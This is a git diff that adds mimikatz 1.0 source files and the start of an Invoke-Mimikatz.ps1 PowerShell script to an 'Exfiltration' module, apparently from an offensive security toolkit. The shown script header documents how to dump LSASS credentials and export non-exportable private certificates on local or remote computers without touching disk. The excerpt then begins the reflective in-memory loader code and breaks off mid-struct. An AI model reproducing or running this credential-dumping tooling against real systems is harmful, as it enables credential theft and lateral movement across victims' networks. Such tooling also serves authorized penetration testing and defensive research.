Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.rc create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/lisezmoi.txt create mode 100644 Exfiltration/mimikatz-1.0/mimikatz.sln create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/global.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/global.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/main.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_samdump.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_system.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_terminalserver.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_thread.h create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.cpp create mode 100644 Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_crypto.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_cryptong.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hash.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hash.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hive.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_hive.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_memory.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_memory.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_minidump.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ntddk.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_parseur.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_patch.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_patch.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_pipe.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_privilege.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_process.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_process.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_secacl.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_service.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_service.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_system.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_system.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_text.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_text.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_thread.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_thread.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ts.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_ts.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_windows.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_windows.h create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h create mode 100644 Exfiltration/mimikatz-1.0/tools/PsExec.exe create mode 100644 Exfiltration/mimikatz-1.0/tools/tee.exe create mode 100644 Exfiltration/mimikatz-1.0/tools/winmine.exe diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index ef3daec..382b2e3 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', - 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md' + 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', + 'Invoke-NinjaCopy.ps1' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 new file mode 100644 index 0000000..2e206a6 --- /dev/null +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -0,0 +1,2713 @@ +function Invoke-Mimikatz +{ +<# +.SYNOPSIS + +This script leverages Mimikatz 1.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as +dump credentials without ever writing the mimikatz binary to disk. +The script has a ComputerName parameter which allows it to be executed against multiple computers. + +This script should be able to dump credentials from any version of Windows through Windows 8 (but not 8.1) that has PowerShell v2 or higher installed. + +Function: Invoke-Mimikatz +Author: Joe Bialek, Twitter: @JosephBialek +Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi +License: http://creativecommons.org/licenses/by/3.0/fr/ +Required Dependencies: Mimikatz (included) +Optional Dependencies: None +Version: 1.0 +ReflectivePEInjection version: 1.0 +Mimikatz version: 1.0 + +.DESCRIPTION + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any +functionality provided with Mimikatz. + +.PARAMETER DumpCreds + +Switch: Use mimikatz to dump credentials out of LSASS. Not currently compatible with Windows 8.1. + +.PARAMETER DumpCerts + +Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable). + +.PARAMETER Command + +Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.EXAMPLE + +Execute mimikatz on the local computer to dump certificates. +Invoke-Mimikatz -DumpCerts + +.EXAMPLE + +Execute mimikatz on two remote computers to dump credentials. +Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") + +.EXAMPLE + +Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits +Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" + +.NOTES +This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY +Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +Find mimikatz at: http://blog.gentilkiwi.com + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Benjamin DELPY blog: http://blog.gentilkiwi.com + +Github repo: https://github.com/clymb3r/PowerShell + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + +#> + +[CmdletBinding(DefaultParameterSetName="DumpCreds")] +Param( + [Parameter(Position = 0)] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = "DumpCreds", Position = 1)] + [Switch] + $DumpCreds, + + [Parameter(ParameterSetName = "DumpCerts", Position = 1)] + [Switch] + $DumpCerts, + + [Parameter(ParameterSetName = "CustomCommand", Position = 1)] + [String] + $Command +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + 